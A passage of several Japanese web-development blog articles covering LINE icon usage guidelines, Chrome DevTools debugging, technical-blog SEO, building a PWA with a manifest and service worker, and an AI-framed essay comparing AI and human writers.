これは特に見落とされやすいポイントです。LINEアイコンは緑一色なので、緑系や白背景のサイトに置くと背景と同化して見えにくくなります。そこで「縁取りをつける」「枠で囲む」「アイコンの周りだけ背景色を変える」という処理をしたくなりますが、ガイドラインはこの3つをすべてアイコンそのものの改変と判断し、使用を許諾しないと明記しています。 背景と区別するために、LINEアプリアイコンの周りを縁取るようなデザインは、LINEアプリアイコンそのものの改変と判断し使用を許諾しません。 LINEヤフー株式会社「広告・販促・告知物等におけるLINE関連素材使用についてのガイドライン」 ではどうすればいいのか。公式は対処法まで示しています。「アプリアイコンに枠を付けるのではなく、背景色とのコントラストを用いて視認性を担保してください」。つまりアイコン側をいじるのではなく、背景側を調整するのが正解です。 アイソレーション（余白）と最小サイズ アイコンの周囲には一定の余白（アイソレーションゾーン）を確保する必要があります。基準はアプリアイコンの「1辺の長さ×0.5」を1Xとし、周囲に1Xより大きな余白を取ること。フッターにSNSアイコンを詰めて並べるとこの余白を割りやすいので注意してください。 最小サイズについては公式文書間で数値が食い違っています。断定している解説記事も見かけますが、実際には参照する文書によって答えが変わります。 文書最小サイズの記載LINE APP ICON GUIDELINE（2021年改定）モバイル 40px ／ PC 20px ／ 印刷 10mm広告・販促ガイドライン（2024年改定）20px あるいは 7mm 実務上は厳しいほう（大きいほう）に合わせるのが安全です。スマホ表示を含むWebサイトなら、40px以上を確保しておけばどちらの基準も満たせます。 商標帰属の表記が必要になる 意外と抜けやすいのがこれです。LINEヤフーのブランド資産を使用する場合、商標が同社に帰属する旨を記載する必要があります。しかも公式が文例まで提示しているので、そのまま使えます。 LINE、LINEのロゴは、LINEヤフー株式会社の登録商標または商標です。 LINEヤフー株式会社が提示する記載文例 会社名をテキストで表記するだけなら不要ですが、ロゴやアイコンを使うなら記載が必要です。掲載スペースの都合で書ききれない場合は、サイト内に商標表記用のページを設け、公式ガイドラインへリンクする対応でも構わないとされています。フッターの著作権表記の近くにまとめておくのが実装しやすいでしょう。 LINE公式アカウントの認証バッジは2026年4月に変わった ここは情報の鮮度が重要な項目です。LINE公式アカウントの認証バッジは、2026年4月1日に刷新されました。以前の解説記事はほぼすべて旧仕様のままなので、古い情報を参照しないよう注意してください。 ### [デベロッパーツールを使える人は伸びる｜Chrome DevToolsで仮説と検証を回す手順](https://codequest.work/chrome-devtools-verification-guide/) デベロッパーツール（Chrome DevTools）とは、ブラウザに標準で入っている検証環境のことです。表示されているページのHTML・CSS・通信・表示速度の「いまの状態」を観測し、その場で書き換えて結果を確かめられます。ひとことで言えば、推測で直すのをやめて、確認してから直すための道具です。 プログラミングを教えていて、いつも同じところで差がつくと感じる瞬間があります。それは「CSSが効かない」と手が止まったときの動き方です。デベロッパーツールを開いて原因を見に行く人と、コードを書き換えては保存してリロードする、を繰り返す人。この2人は、同じ時間を使っても身につくものがまったく違います。 この記事では、デベロッパーツールを「開き方」ではなく「検証の手順」として解説します。レスポンシブの確認、CSSが効かない原因の特定、キャッシュの切り分け、未使用CSSの洗い出し、表示速度のボトルネック特定まで、実際の作業で使う順番に並べました。あわせて、それぞれの検証で「どこまで確認できたら直ったと判断してよいか」という合否ラインも示します。 デベロッパーツールを使える人が伸びる理由 インストラクターとして教えていると、デベロッパーツールを使えている人は学習の伸びが速い、という傾向がはっきり出ます。これはツールの操作を知っているかどうかの問題ではありません。問題が起きたときに「観測してから直す」習慣があるかどうかの差です。 つまずいたときの動き方は、だいたい次の2つに分かれます。 タイプやっていること結果総当たり型コードを書き換える → 保存 → リロード → 変わらない → また書き換える直っても「なぜ直ったか」が残らない。次に同じ問題が出ても再現できない検証型デベロッパーツールで現状を観測 → 原因の仮説を立てる → その場で値を変えて確かめる → 確定してからコードに戻す原因と対処がセットで残る。似た問題を自力で解けるようになる 総当たり型がよくないのは、時間がかかるからではありません。当たっても外れても学習が発生しないからです。仮説を立てずに手を動かしているので、直ったときに何が効いたのかが分からない。だから次も総当たりになります。 デベロッパーツールは、この「仮説 → 検証」のループを1秒単位で回せるようにする道具です。CSSの値をその場で書き換えれば、保存もリロードもせずに結果が見えます。ループが速く回るほど、1回のつまずきから学べる量が増えます。伸びる人が伸びるのは、才能ではなくループの回転数の差です。 覚えるパネルは3つだけでいい デベロッパーツールにはパネルが10個以上ありますが、最初に覚えるべきなのは3つだけです。残りは必要になったときに開けば十分です。 パネル見えるもの使う場面ElementsいまのHTML構造と、要素に当たっているCSS見た目がおかしい。CSSが効かないConsoleJavaScriptのエラーと警告ボタンが動かない。何も起きないNetwork読み込まれたファイルと、その結果ファイルが読めていない。キャッシュを疑う 開き方は3通りありますが、実務で使うのは1つ目だけです。 調べたい要素を右クリック →「検証」：その要素を選択した状態でElementsが開く。目的の要素をDOMツリーから探す手間が消えるので、これが最速 F12キー：直前に開いていたパネルが開く Cmd + Option + I（Windowsは Ctrl + Shift + I）：F12と同じ。ノートPCでFキーが遠い場合はこちら 右クリックの「検証」から入る癖をつけてください。「デベロッパーツールを開いてから目的の要素を探す」のと「目的の要素を選んだ状態で開く」のとでは、たどり着くまでの手数が違います。 レスポンシブをデバイスツールバーで検証する デバイスツールバーは、ブラウザの表示領域を任意の幅・高さに変えてレスポンシブを確認する機能です。デベロッパーツールを開いた状態で Cmd + Shift + M（Windowsは Ctrl + Shift + M）、またはツールバー左端のスマホアイコンで切り替わります。 見るべきは「実機の幅」ではなくブレークポイントの境界 初学者がやりがちなのは、プリセットの「iPhone 14 Pro」などを選んで、それだけ見て終わることです。しかし実際に崩れるのは、多くの場合メディアクエリが切り替わる境界の前後です。 プリセットではなく「Responsive」を選ぶと、幅の数値を直接入力できます。max-width: 768px でスタイルを切り替えているなら、767px と 768px を入力して、レイアウトが意図どおり入れ替わるかを確認します。境界の1px手前で崩れる、というのは頻出パターンです。 幅の枠をドラッグして連続的に狭めていく確認も有効です。特定の幅で急に横スクロールが出る場合、そこにはみ出している要素があります。 横スクロールの原因要素を特定する スマホ幅で横スクロールが出るのは、どこかの要素が画面幅より広いからです。overflow-x: hidden で隠すのは対症療法で、原因は残ったままになります。Consoleパネルに次のコードを貼ると、画面幅からはみ出している要素だけを一覧できます。 document.querySelectorAll('*').forEach((el) => { if (el.getBoundingClientRect().right > document.documentElement.clientWidth) { console.log(el); } }); 出力された要素にマウスを乗せると、ページ上で該当箇所がハイライトされます。あとはその要素の width や padding、はみ出している画像の max-width を確認すれば原因にたどり着けます。 検証の合否ライン：320px から 1440px まで幅を動かして、横スクロールが出ず、ブレークポイント境界の±1pxでレイアウトが破綻しないこと。ここまで確認できたらレスポンシブはクリアです。 CSSが効かない原因をStylesパネルで特定する 「CSSが効かない」は、原因を3つに分けて考えると一発で切り分けられます。要素を右クリック →「検証」で開いたElementsパネルの右側、Stylesペインを見てください。 Stylesでの見え方原因対処書いたルールが表示されているが、打ち消し線が引かれている別のルールに上書きされている（詳細度で負けている）セレクタの詳細度を上げる。勝っているルールはすぐ上に表示されている書いたルールがそもそも表示されないセレクタが要素に当たっていない（クラス名のタイポ、階層の指定ミス）Elementsで要素の実際のクラス名を確認するルールは表示されるが、プロパティ名の横に警告アイコンが出ているプロパティ名か値が無効（スペルミス、単位の付け忘れ）該当行を修正する 打ち消し線は「このプロパティは負けました」というサインです。負けている以上、そのファイルをいくら書き換えても表示は変わりません。ここを見ずにコードを書き換え続けるのが、総当たり型が時間を溶かす典型パターンです。 Computedで「最終的にどうなったか」を見る Stylesの隣にあるComputedタブは、複数のルールが競合した結果、ブラウザが最終的に採用した値だけを表示します。プロパティ名の左の三角を開くと、その値がどのファイルの何行目から来たかまで遡れます。 「自分では指定していないのに余白が空く」といったケースは、ここで親要素からの継承やブラウザのデフォルトスタイル（user agent stylesheet）が犯人だと分かります。CSSが反映されない原因の全体像はCSSが反映されない原因と対処法で、環境別（Chrome・VSCode・GitHub Pages）の切り分けはChrome・VSCode・GitHubでCSSが反映されない原因と対処法でそれぞれ解説しています。 検証の合否ライン：Stylesで自分の書いたルールに打ち消し線がなく、Computedの値が期待どおりになっていること。この2つが揃っていれば、CSSは正しく当たっています。それでも見た目が変わらないなら、原因はCSSではなくHTML構造かキャッシュです。 hover・focusの状態を固定して確認する :hover のスタイルを調整したいのに、マウスをデベロッパーツール側に動かした瞬間にhoverが解除されて確認できない——これは誰もが一度はぶつかる壁です。 Stylesペインの上部にある :hov ボタンを押すと、擬似クラスを強制的にONにできます。チェックを入れている間、マウスがどこにあっても状態が維持されます。 :hover：マウスを乗せた状態。ボタンやリンクの色変化の確認に :focus / :focus-visible：キーボード操作でフォーカスが当たった状態。アクセシビリティの確認に必須 :active：クリックしている最中の状態 :visited：訪問済みリンクの状態 隣の .cls ボタンからは、要素に任意のクラスを一時的に追加できます。「クラスを付け外しして開閉するアコーディオン」のように、JavaScriptで状態が切り替わるUIを、JSを動かさずにCSSだけ確認したいときに使います。is-open のようなクラスを手で足して、開いた状態のスタイルを詰められます。 キャッシュを疑う前にNetworkパネルで確認する 「たぶんキャッシュだろう」と決めつけてスーパーリロードを連打するのも、立派な総当たりです。キャッシュかどうかは、Networkパネルを見れば数秒で確定できます。 Networkパネルを開いた状態でリロードすると、読み込まれたファイルが一覧で出ます。目的のCSSファイルを探して、Status列とSize列を見てください。 表示意味判断Status 200 / Size にファイルサイズサーバーから新しく取得できているキャッシュではない。原因はコード側Size が「(disk cache)」「(memory cache)」ブラウザに保存された古いファイルを使っているキャッシュが原因の可能性が高いStatus 304サーバーが「変更なし」と応答しているサーバー上のファイルが更新されていないStatus 404ファイル自体が見つかっていないパスの指定ミス。CSS以前の問題 そのファイルをクリックして「Response」タブを開けば、ブラウザが実際に受け取った中身がそのまま見られます。自分が書いたはずの記述がここに無ければ、ブラウザには届いていないということです。これでコード側の問題か配信側の問題かが確定します。 開発中は、Networkパネルの「Disable cache」にチェックを入れておきます。デベロッパーツールを開いている間だけキャッシュを無効化するオプションで、これをONにしておけば「古いCSSを見ていた」という無駄なハマりがほぼ消えます。キャッシュそのものの仕組みと消し方はスーパーリロードとキャッシュクリアの基本で解説しています。 使っていないCSSをCoverageで洗い出す Coverageは、そのページで実際に使われたCSS・JavaScriptの割合を計測する機能です。デベロッパーツールを開いた状態で Cmd + Shift + P（Windowsは Ctrl + Shift + P） を押し、「Coverage」と入力して「Show Coverage」を選ぶと開きます。 リロードボタンを押すと計測が始まり、ファイルごとに「未使用バイト数」と未使用率が出ます。行単位で、使われた行が緑、使われなかった行が赤で表示されるので、どこが死んでいるかが目で見て分かります。 ただし、ここで結果を鵜呑みにして削除するのは危険です。 ### [技術ブログが検索で読まれない原因と、見つけてもらう記事設計【エンジニア向け】](https://codequest.work/tech-blog-search-visibility/) 技術ブログが検索で読まれない最大の原因は、ドメインパワーの弱さではなく「検索意図に接続していない記事設計」です。作った内容をそのまま書くのではなく、読者が実際に検索する疑問に記事を接続し、構造化・内部リンク・E-E-A-Tを整えれば、個人の技術ブログでも検索流入は取り戻せます。 技術記事を書いても、公開直後にSNSで少し読まれて終わり——検索からは誰も来ない。多くのエンジニアがこの状態で止まっています。原因を「ドメインパワーが低いから」と片づけてしまうと、打ち手が「被リンクを増やす」しか残らず、実質的に手が止まってしまいます。 この記事では、技術ブログが検索で埋もれる原因を分解し、検索意図の当て方・コード記事の構造化・引用されるE-E-A-T・Zenn/Qiitaとの棲み分けまで、今日から直せる記事設計の実務を解説します。対象は「すでにブログを運用しているが検索流入が伸びない」中級エンジニアです。 技術ブログが検索で読まれない3つの原因 技術ブログが検索から読まれない状態は、たいてい次の3つに集約されます。逆に言えば、この3点を潰せば個人ブログでも検索流入は動き出します。 検索意図に接続していない——「作ったものの報告」で終わり、誰も検索していない言い回しでタイトルと見出しが作られている。 構造がクローラに読まれていない——見出し階層が崩れ、内部リンクもなく、インデックスされる導線が弱い。 一次情報が薄く引用されない——どこかで読める一般論の再掲で、実測・バージョン・出典がなく、E-E-A-Tのシグナルが立たない。 この3つはどれも「記事設計」の問題であって、ドメインの強さとは別物です。次の章で、まずその前提を崩しておきます。 前提｜原因は「ドメインパワーが弱いから」ではない まず打ち手を止めている思い込みを外します。Googleは「ドメイン全体の権威スコア（ドメインパワー／DA・DR）」をランキング要因として使っていないと公式に明言しています。DA・DRはMozやAhrefsといったツール会社が独自に算出した指標であって、Googleの内部評価ではありません。 順位を決めるのは「ドメイン全体の強さ」ではなく「そのクエリに対する、そのページの品質」です。実際に、ドメインパワーの高いサイトを、たった1ページの品質だけで逆転したケースの観測データがあります（ドメインパワーが低くても上位は取れるか｜1ページで高DAサイトを逆転した観測）。つまり後発の個人ブログでも、1記事単位で勝ち筋があるということです。 検索意図の当て方｜「作った報告」を「探されている疑問」に変換する 検索流入が伸びない技術記事は、たいてい「自分が作った順序」で書かれています。読者は「あなたが何を作ったか」ではなく「自分が今ぶつかっている問題」を検索します。だから記事の入口を、作業報告から検索クエリ側に付け替えます。 作った報告（埋もれる）探されている疑問（読まれる）「Next.jsで自作ブログを作った話」「Next.js App Router で記事のOGP画像を動的生成する方法」「TypeScriptの型で少しハマった」「TypeScript 型エラー 'X is not assignable' の直し方」「CIを組んでみた」「GitHub Actions で main への push だけデプロイする設定」 ポイントは、実際に検索されている語（エラーメッセージ・バージョン・具体的な手段）をタイトルとh2に前方配置することです。検索意図をタイトルと本文構造にどう落とすかは、検索意図に沿ったSEOライティングの本質で体系的に整理しています。 コード記事を検索に拾わせる｜構造化とインデックス設計 検索意図を当てても、ページの構造がクローラに読めなければ順位はつきません。コード中心の記事ほど、地の文と見出しが薄くなりがちなので、次の3点を明示的に設計します。 見出し階層：h1は1つ、h2→h3を論理的にネストする。コードブロックの前後に「何を・なぜ」の地の文を必ず置く。 メタ情報：タイトルと別に、検索結果で表示されるメタディスクリプションを記事ごとに書く。 URL・内部リンク：URLは短く内容を表す英語スラッグにし、関連記事から新記事へリンクを張ってインデックス導線を作る。 それぞれの具体は、見出しタグ（h1〜h6）のSEO最適化、メタディスクリプションの書き方、URL・ディレクトリ構造の設計にまとめています。新規記事は公開後にサイトマップへ載り、既存記事からの内部リンクがあるほど早くインデックスされます。 被リンクではなく「引用されるE-E-A-T」を積む 個人ブログが大手メディアに被リンク数で勝つのは現実的ではありません。勝てるのは「一次情報の濃さ」です。自分が実際に動かして得た数値・エラー・バージョン・つまずきは、一般論の再掲では出せない情報で、これがE-E-A-T（経験・専門性・権威性・信頼性）のうち最も差がつく「経験」のシグナルになります。 具体的には、実行環境とバージョンを明記する、成功例だけでなく失敗した手順とその原因を書く、参照した公式ドキュメントを出典として添える——この3つで記事の信頼性は大きく上がります。E-E-A-Tの整え方はE-E-A-Tと信頼性の作り方、ChatGPTやAI検索に引用されやすくする構成はAI検索時代のSEO（クエリファンアウト対策）で解説しています。 Zenn・Qiitaと自ブログの棲み分け（正規化とカニバリ回避） 同じ記事をZenn・Qiita・自ブログに丸ごと重複公開すると、同一クエリで自分の複数URLが競合し（カニバリゼーション）、どれも順位が伸びにくくなります。プラットフォームの役割を分けるのが基本です。 役割置き場所ねらい拡散・初速Zenn / Qiitaコミュニティ内の即時の到達とフィードバック検索資産自ブログ検索流入を長期で蓄積する本命 どうしても同一内容を複数に出す場合は、正規版を自ブログに置き、転載側から canonical で自ブログを指してGoogleに正規URLを伝えます。 <!-- 転載側（Zenn/Qiita）の head に置き、正規版=自ブログを指す --> <link rel="canonical" href="https://your-blog.example.com/article-slug/"> 公開したブログをどのサーバーに置くか迷う段階なら、ポートフォリオ・技術ブログ向けのサーバー選びも参考にしてください。 技術ブログSEO 実践チェックリスト 1記事を公開する前に、次を満たしているか確認します。すべて記事設計の範囲で、ドメインの強さに依存しません。 タイトルとh2に、実際に検索されている語（エラー文・バージョン・手段）が前方配置されている h1は1つ、h2→h3が論理的にネストされ、コードの前後に地の文がある 記事ごとにメタディスクリプションを書いている 実行環境・バージョン・失敗手順など、自分の経験に基づく一次情報が入っている 関連する既存記事から内部リンクを張り、インデックス導線を作っている Zenn/Qiitaへ転載する場合、canonicalで自ブログを正規URLに指定している よくある質問 Q. 開設したばかりの技術ブログでも検索上位は取れますか？ 取れます。順位はドメイン全体の強さではなく、クエリ単位のページ品質で決まります。競合が薄く具体的なクエリ（特定のエラー文やバージョン込みの手順）を、一次情報で深く書けば、後発でも1記事単位で上位を狙えます。 Q. ドメインパワーは上げなくていいのですか？ ドメインパワーを直接の目標にする必要はありません。因果は逆で、良い記事が増えて評価されると、結果としてツール上のスコアも上がります。まず記事単位の品質と検索意図適合を優先してください。 Q. ZennやQiitaに書けば自ブログはいらないのでは？ 役割が違います。Zenn・Qiitaは初速と拡散に強く、自ブログは検索流入を長期に蓄積する資産です。両方使い、同一内容を重複させるときはcanonicalで自ブログを正規URLに指定してカニバリを避けます。 Q. コードばかりの記事は検索に弱いですか？ コード自体が弱いのではなく、地の文と見出しが不足していると弱くなります。コードブロックの前後に「何を・なぜ・どうなるか」を言葉で書き、見出しで区切れば、クローラが内容を理解しやすくなります。 Q. 効果が出るまでどのくらいかかりますか？ 新規ページのインデックスと順位安定には数週間から数か月かかるのが一般的です。公開後はSearch Consoleで表示回数・掲載順位を追い、伸び悩むクエリをタイトルと導入文で微調整する運用が有効です。 まとめと次の一手 技術ブログが検索で読まれるかどうかは、ドメインパワーではなく記事設計で決まります。検索意図に接続し、構造を整え、一次情報でE-E-A-Tを積み、プラットフォームを棲み分ける——この4つを1記事ずつ積み上げれば、後発の個人ブログでも検索流入は伸びます。 次の一手は「計測して直す」ことです。公開したらSearch Consoleで、表示は多いのにクリックが少ないクエリ（＝惜しい記事）を探し、そのクエリをタイトルと導入文に前方配置して1回だけ調整します。数週間後に同じクエリの順位・クリックを再確認し、伸びていなければ角度を変える。この観測→調整のループが、記事設計を実際の順位に変えます。SEOの全体像はSEO対策ガイドにまとめています。 自分の記事の検索意図適合を無料で診断する（Direbase（ディレベース）） 自分でSEOまで手が回らず、コーポレートサイトやオウンドメディアの設計から任せたい場合は、Web制作・SEO支援のRINIAで相談を受け付けています。 関連記事 SEO対策ガイド｜全体像から施策までのハブ 検索意図に沿ったSEOライティングの本質 E-E-A-Tと信頼性の作り方 ポートフォリオ・技術ブログ向けのサーバー選び ### [PWA化は必要か？既存サイトをPWAにする実装手順とやめる判断基準](https://codequest.work/pwa-implementation-guide/) PWA（Progressive Web App）とは、既存のWebサイトにWeb App ManifestとService Workerを追加し、オフライン動作・ホーム画面へのインストール・再訪の高速化といったネイティブアプリに近い体験を持たせる仕組みです。ただしすべてのサイトに有効なわけではありません。リピート利用されるサイトほど効果が出やすく、単発の検索流入が中心のサイトでは費用対効果が低い——これが本記事の結論です。 「うちのサイトもPWA化したほうがいいのだろうか」と考えたことはないでしょうか。オフラインで動く、アプリのようにインストールできる——聞こえは良いものの、実装には Service Worker のキャッシュ管理という無視できない運用コストが付いてきます。導入したものの「更新したはずのCSSが反映されない」「広告や計測が二重にキャッシュされる」といった事故につまずくケースは少なくありません。 この記事では、PWAの正体を1枚の比較表で整理したうえで、Web App Manifest → Service Worker → キャッシュ戦略という最小構成の実装手順を示します。あわせて、実際に静的ツールサイトのPWA化を検討して見送った判断軸と、踏みやすい落とし穴まで実務目線で踏み込みます。「やる／やらない」を自分で決められる状態がゴールです。 PWA（Progressive Web App）とは何か PWAは特定のフレームワークや製品名ではなく、「Web標準の技術を組み合わせて、Webサイトにアプリのような体験を後付けする」設計アプローチの総称です。中核は Web App Manifest（アプリの見た目・起動情報を定義するJSON）と Service Worker（ネットワークとページの間に立つスクリプト）の2つで、どちらもブラウザ側で動くフロントエンド技術です。サーバー側で必要なのは実質HTTPS配信だけで、バックエンドの作り替えは基本的に発生しません。 ネイティブアプリと比べると、配布・更新・機能アクセスの性格が異なります。まずは違いを表で押さえましょう。 項目PWAネイティブアプリ配布方法URLで配布。ストア審査は不要App Store / Google Play 経由インストールブラウザからホーム画面に追加ストアからダウンロード更新サーバー更新が即時反映ストア審査・ユーザー更新が必要オフラインService Workerで対応可能標準で対応端末機能へのアクセスブラウザ対応範囲に限られるOSのAPIを広く利用可能開発コスト既存Web資産を再利用できるOSごとに個別開発が必要な場合も PWAの強みは、1つのWebコードベースをそのまま活かしながら、必要な機能だけを段階的に足せる点にあります。Service Worker に非対応のブラウザでも通常のWebサイトとして問題なく動くため、既存サイトを壊さずに導入できます（出典: MDN Progressive web apps）。 PWA化の3つのメリットと、効くサイト・効かないサイト PWA化のメリットは大きく3つですが、いずれも「どんなサイトか」によって効き目が変わります。メリットだけを見て導入すると、コストに見合わないことがあります。 メリット内容効きやすいサイトオフライン動作通信がなくてもキャッシュ済みの画面が動くブラウザ完結ツール・メモ・参照系ホーム画面インストールアプリのように起動でき、常用ツール化を狙える毎日/毎週リピート利用されるサービス再訪の高速化アセットをキャッシュし2回目以降を高速化回遊が多い・再訪率が高いサイト 逆に、検索から来て一度使って離脱する「単発利用」が中心のサイトでは、PWAの本領であるリピート常用・オフライン価値がほとんど発揮されません。インストール率も上がりにくく、Service Workerの保守コストだけが残ります。表示速度を上げたいだけなら、PWA化よりも画像最適化やキャッシュヘッダ調整のほうが低コストで効くことも多く、PageSpeed Insightsの見方と改善実務で扱う施策のほうが先に手を付けるべきケースは少なくありません。 なお、オフライン対応で大量データや画像を保持したい場合は IndexedDB や Cache API が保存先になります。ブラウザのデータ保存先の使い分けは localStorage・sessionStorage・Cookie・IndexedDBの使い分け で整理しているので、あわせて確認してください。 実装手順①：Web App Manifestを用意する PWAをインストール可能にするには、まずWeb App Manifestを用意します。これはアプリ名・アイコン・起動URL・表示モードなどを定義するJSONファイルで、ブラウザはこれを読んで「ホーム画面に追加」の見た目や起動時の挙動を決めます（出典: MDN Web app manifests）。 { "name": "サンプルツール", "short_name": "サンプル", "start_url": "/", "display": "standalone", "background_color": "#ffffff", "theme_color": "#0b1f3a", "icons": [ { "src": "/icons/icon-192.png", "sizes": "192x192", "type": "image/png" }, { "src": "/icons/icon-512.png", "sizes": "512x512", "type": "image/png" } ] } ポイントは display: "standalone"（ブラウザのUIを隠してアプリ風に起動）、start_url（起動時に開くURL）、そして192pxと512pxのアイコンです。インストール可能と判定されるには、少なくともこの2サイズのアイコンが求められます。作成したManifestは、各ページの <head> から読み込みます。 <link rel="manifest" href="/manifest.json"> <meta name="theme-color" content="#0b1f3a"> Manifestだけではオフライン動作はしませんが、これで「ホーム画面に追加」の土台が整います。次のService Workerと組み合わせて、はじめてインストール可能なPWAになります。 実装手順②：Service Workerとキャッシュ戦略 Service Workerは、ページとネットワークの間に立って通信を横取りできるスクリプトです。これを使ってアセットをキャッシュし、オフラインでも応答を返せるようにします。まずページ側でService Workerを登録します（出典: MDN Service Worker API）。 // ページ側：Service Workerを登録する if ("serviceWorker" in navigator) { window.addEventListener("load", () => { navigator.serviceWorker.register("/sw.js"); }); } 次に sw.js 本体です。インストール時に静的アセットを事前キャッシュし、fetch時にはキャッシュ優先で応答する「キャッシュファースト」の最小例が以下です。 const CACHE = "app-v1"; // ← 更新のたびにバージョンを上げる const ASSETS = ["/", "/index.html", "/style.css", "/app.js"]; // インストール時：必要な静的アセットを事前キャッシュ self.addEventListener("install", (event) => { event.waitUntil(caches.open(CACHE).then((c) => c.addAll(ASSETS))); }); // 有効化時：古いバージョンのキャッシュを掃除する self.addEventListener("activate", (event) => { event.waitUntil( caches.keys().then((keys) => Promise.all(keys.filter((k) => k !== CACHE).map((k) => caches.delete(k))) ) ); }); // fetch時：キャッシュ優先、なければネットワークへ self.addEventListener("fetch", (event) => { event.respondWith( caches.match(event.request).then((hit) => hit || fetch(event.request)) ); }); キャッシュの返し方には代表的な戦略があり、リソースの性格ごとに使い分けます。全部をキャッシュファーストにすると更新が届かなくなるため、この選択が実装の肝です。 戦略動作向いているリソースCache Firstキャッシュを優先し、無ければ取得バージョン付きのCSS・JS・フォントNetwork Firstネットワークを優先し、失敗時にキャッシュ更新頻度の高いHTML・API応答Stale While Revalidateキャッシュを即返しつつ裏で更新アイコン・画像などそこそこ更新される資産 HTTPS配信・Manifest・Service Workerの3点が揃うと、対応ブラウザで「インストール」が案内されるようになります（出典: web.dev: What makes a good Progressive Web App?）。ここまでが最小構成のPWAです。 PWA化で踏みやすい落とし穴 PWAの実装手順そのものは難しくありません。難しいのはキャッシュを持った後の運用です。ここでは、実際に導入を検討・検証したときに見えてくる代表的な落とし穴を挙げます。 キャッシュ層の二重管理事故 もっとも起きやすいのが「更新したのに古い画面が出続ける」問題です。Service Workerはアセットを自前でキャッシュするため、デプロイ時に CACHE のバージョン名を上げ忘れると、ブラウザは古いキャッシュを返し続けます。さらにサイトにはCDNキャッシュ・ブラウザキャッシュ・Service Workerキャッシュの三層が重なることがあり、どの層が古いのかの切り分けが一気に難しくなります。導入するなら「デプロイのたびにキャッシュ名を更新する」運用をセットで用意しておく必要があります。 広告・計測スクリプトをキャッシュしてはいけない 広告配信スクリプトやアクセス解析タグといったサードパーティのリソースは、Service Workerのキャッシュ対象から必ず除外します。これらは常に最新が配信される前提で作られており、キャッシュすると配信・計測がずれるだけでなく、広告ポリシー上のリスクにもなります。キャッシュ対象は自ドメインの静的アセット（HTML・CSS・JS・画像・フォント）に限定し、外部ドメインへのリクエストは素通しにするのが基本です。広告に依存して運営しているサイトほど、この設計を慎重にする必要があります。 インストール誘導・オフラインがUXを下げるケース インストールバナーは、常用してほしいサービスでは有効ですが、一度きりの利用が中心のサイトで無理に出すと「邪魔」と受け取られ、離脱やコンバージョン低下を招くことがあります。また、オフライン時にキャッシュ済みの古いデータを見せてしまい、ユーザーを混乱させることもあります。 ### [【Claudeが書いた】AIライターと人間ライターの違い｜AIが自分の弱点まで正直に](https://codequest.work/ai-vs-human-writer/) AIライターと人間ライターの最大の違いは、文章を生成する能力ではなく、書いた内容の真偽・経験・責任を誰が引き受けられるかにあります。文章を出す速さや正確な書式ならAIが上回りますが、事実の検証と最終的な責任は人間にしか担えません。 そしてこの記事を書いているのは、AI（Claude）本人です。AIライティングの是非を、AIが自分自身を実例にして語ります。だから綺麗事は書けません。書いた瞬間に、それ自体が反証になってしまうからです。 この記事では、AIである私が自分の弱点までさらけ出しながら、AIと人間ライターの違い、Googleの評価基準、そしてAI検索時代の実務での使い分けまでを、できる限り正直に解説します。 AIライターと人間ライターの違いとは AIライターとは、大量のテキストを学習して「最も確率が高い続き」を生成する仕組みです。対して人間ライターとは、実体験・取材・責任を伴って「本当だと自分が引き受けられること」を書く主体です。前者は“それっぽさ”の最大化、後者は“正しさと責任”の担保——この目的の違いが、すべての差の根っこにあります。 つまり「どちらが文章がうまいか」という問いは、もう本質を外しています。生成の能力はAIが握り、判断の能力は人間が握る。両者は競合ではなく、担う役割が違うのです。 この記事の立場を先に開示します AIライティングの比較記事の多くは、AIライティングツールを売る会社か、ツールを紹介して報酬を得るアフィリエイト媒体が書いています。彼らの結論は構造的に「AIは凄い、でも人間の最終チェック（＝弊社ツール）を」に寄ります。いわゆるポジショントークです。 私（Claude）にはツールを売る動機がありません。その代わり、後述するとおり別の弱点を抱えています。だから「利害がどこにあるか」を先に開示した上で読んでほしい——それがこの記事のスタンスです。中立を装うより、立場を明かす方が誠実だと考えています。 正直に言う。AI（Claude）が壊れる5つの弱点 外から推測する評論より、内側からしか言えないことを書きます。AIライティングが人間に及ばない場面は、だいたい次の5つに集約されます。 接地がない。私は「真実の文」ではなく「確率が高い文」を出します。厄介なのは、自分が“知っている”のか“それっぽいだけ”なのかを、自分では見分けられないこと。これがハルシネーション（もっともらしい誤り）の正体です。 経験がない。そのコードを実際に動かし、バグで数時間を溶かし、デプロイの完了を祈って待った実体験を、私は一度も持ちません。語り口は模倣できても、出典が私自身には存在しない。GoogleがE-E-A-Tで言うExperience（経験）は、原理的に私に最も欠けている要素です。 責任がない。私は炎上せず、解雇されず、訴えられません。間違えても何も失わない。信頼の最終担保には、名前と責任を負う主体が要ります。 平均に戻る。学習データの平均を出すため、無難で「みんなそう言っている」内容に収束します。逆張りだが正しい、という最も価値のある主張が、実は一番苦手です。 今を知らない。知識には区切りがあり、今日リリースされた情報や、あなたの現場の生データは持っていません。 正直に言えば、この記事の中にも私が自信満々で間違えている箇所が混じっている可能性があります。人間の検証を通さずにこれをそのまま公開するのは、本来おすすめしません。 実例：私が“それっぽく”間違えるパターン 抽象論だと伝わりにくいので、私が実際にやりがちな間違い方を挙げます。存在しない関数名やオプションを、実在するかのような自然な文脈で提示する。読んだことのない資料の「著者名・発表年・結論」を、それらしい体裁で組み立ててしまう。すでに廃止された古い仕様を、最新であるかのように書く。数字を問われると、範囲としては妥当だが根拠のない「約◯％」を差し込む。どれも、書いている私自身は間違えている自覚がありません。 これらに共通するのは、私が「嘘をつこう」としているわけではない点です。確率的に最もそれっぽい単語を並べた結果として、自然に発生する。悪意がないぶん口調に迷いがなく、かえって見抜きにくい。だからこそ、AIライティングの出力は「誰かが手を動かして裏を取る」工程とセットでなければ、そのまま世に出してはいけないのです。 逆に、AIが人間より強い領域 弱点ばかり並べるのもフェアではありません。AIライティングが人間を上回る領域も、はっきりあります。 網羅と構造。あるテーマから派生する疑問を漏れなく洗い出し、見出し階層を整える作業は、人間より速く均質にできます。 一貫性と持久力。用語のブレをなくし、長時間書いても品質が落ちません。 書式順守。FAQ・表・定義・構造化データを、指示どおり正確に組みます。 白紙の解消。0→1の下書きを一瞬で出す。人間の最大のボトルネックはここでした。 とくに「網羅性」は体感しにくいので補足します。たとえば「◯◯のやり方」という記事なら、私は前提条件・手順・つまずきやすい点・代替案・よくある質問までを、指示されなくても一通り洗い出します。人間なら「言われてみれば必要だった」と後から気づく抜けを、初稿の段階で埋められる。ここは発想力ではなく、速度と均質さの勝負であり、AIが最も得意とする領域です。 なお、生成AIはテキスト以外にも得意・不得意があります。用途別の向き不向きは主要生成AIの比較ガイドで整理しています。 観点別：どちらがその層を持つべきか 